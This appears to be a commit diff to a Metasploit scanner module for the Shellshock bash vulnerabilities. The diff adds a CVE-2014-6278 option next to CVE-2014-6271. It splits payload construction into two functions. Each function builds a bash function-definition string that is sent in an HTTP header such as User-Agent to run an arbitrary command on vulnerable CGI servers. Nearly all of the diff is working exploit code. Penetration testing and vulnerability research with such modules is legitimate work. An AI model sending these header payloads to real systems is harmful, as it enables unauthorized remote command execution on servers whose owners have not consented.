@@ -29,10 +29,12 @@ def initialize(info = {})
29
29
} ,
30
30
'Author' => [
31
31
'Stephane Chazelas' , # Vulnerability discovery
32
- 'wvu' # Metasploit module
32
+ 'wvu' , # Metasploit module
33
+ 'lcamtuf' # CVE-2014-6278
33
34
] ,
34
35
'References' => [
35
36
[ 'CVE' , '2014-6271' ] ,
37
+ [ 'CVE' , '2014-6278' ] ,
36
38
[ 'OSVDB' , '112004' ] ,
37
39
[ 'EDB' , '34765' ] ,
38
40
[ 'URL' , 'https://access.redhat.com/articles/1200223' ] ,
@@ -47,12 +49,14 @@ def initialize(info = {})
47
49
OptString . new ( 'METHOD' , [ true , 'HTTP method to use' , 'GET' ] ) ,
48
50
OptString . new ( 'HEADER' , [ true , 'HTTP header to use' , 'User-Agent' ] ) ,
49
51
OptString . new ( 'CMD' , [ true , 'Command to run (absolute paths required)' ,
50
- '/usr/bin/id' ] )
52
+ '/usr/bin/id' ] ) ,
53
+ OptEnum . new ( 'CVE' , [ true , 'CVE to check/exploit' , 'CVE-2014-6271' ,
54
+ [ 'CVE-2014-6271' , 'CVE-2014-6278' ] ] )
51
55
] , self . class )
52
56
end
53
57
54
58
def check_host ( ip )
55
- res = req ( "echo #{ marker } " )
59
+ res = req ( "echo #{ marker } " , datastore [ 'CVE' ] )
56
60
57
61
if res && res . body . include? ( marker * 3 )
58
62
report_vuln (
@@ -85,7 +89,7 @@ def check_host(ip)
85
89
def run_host ( ip )
86
90
return unless check_host ( ip ) == Exploit ::CheckCode ::Vulnerable
87
91
88
- res = req ( datastore [ 'CMD' ] )
92
+ res = req ( datastore [ 'CMD' ] , datastore [ 'CVE' ] )
89
93
90
94
if res && res . body =~ /#{ marker } (.+)#{ marker } /m
91
95
print_good ( "#{ peer } - #{ $1} " )
@@ -98,20 +102,31 @@ def run_host(ip)
98
102
end
99
103
end
100
104
101
- def req ( cmd )
105
+ def req ( cmd , cve )
106
+ case cve
107
+ when 'CVE-2014-6271'
108
+ sploit = cve_2014_6271 ( cmd )
109
+ when 'CVE-2014-6278'
110
+ sploit = cve_2014_6278 ( cmd )
111
+ end
112
+
102
113
send_request_cgi (
103
114
'method' => datastore [ 'METHOD' ] ,
104
115
'uri' => normalize_uri ( target_uri . path ) ,
105
116
'headers' => {
106
- datastore [ 'HEADER' ] => sploit ( cmd )
117
+ datastore [ 'HEADER' ] => sploit
107
118
}
108
119
)
109
120
end
110
121
111
- def sploit ( cmd )
122
+ def cve_2014_6271 ( cmd )
112
123
%Q{() { :;};echo -e "\\ r\\ n#{ marker } $(#{ cmd } )#{ marker } "}
113
124
end
114
125
126
+ def cve_2014_6278 ( cmd )
127
+ %Q{() { _; } >_[$($())] { echo -e "\\ r\\ n#{ marker } $(#{ cmd } )#{ marker } "; }}
128
+ end
129
+
115
130
def marker
116
131
@marker ||= Rex ::Text . rand_text_alphanumeric ( rand ( 42 ) + 1 )
117
132
end
0 commit comments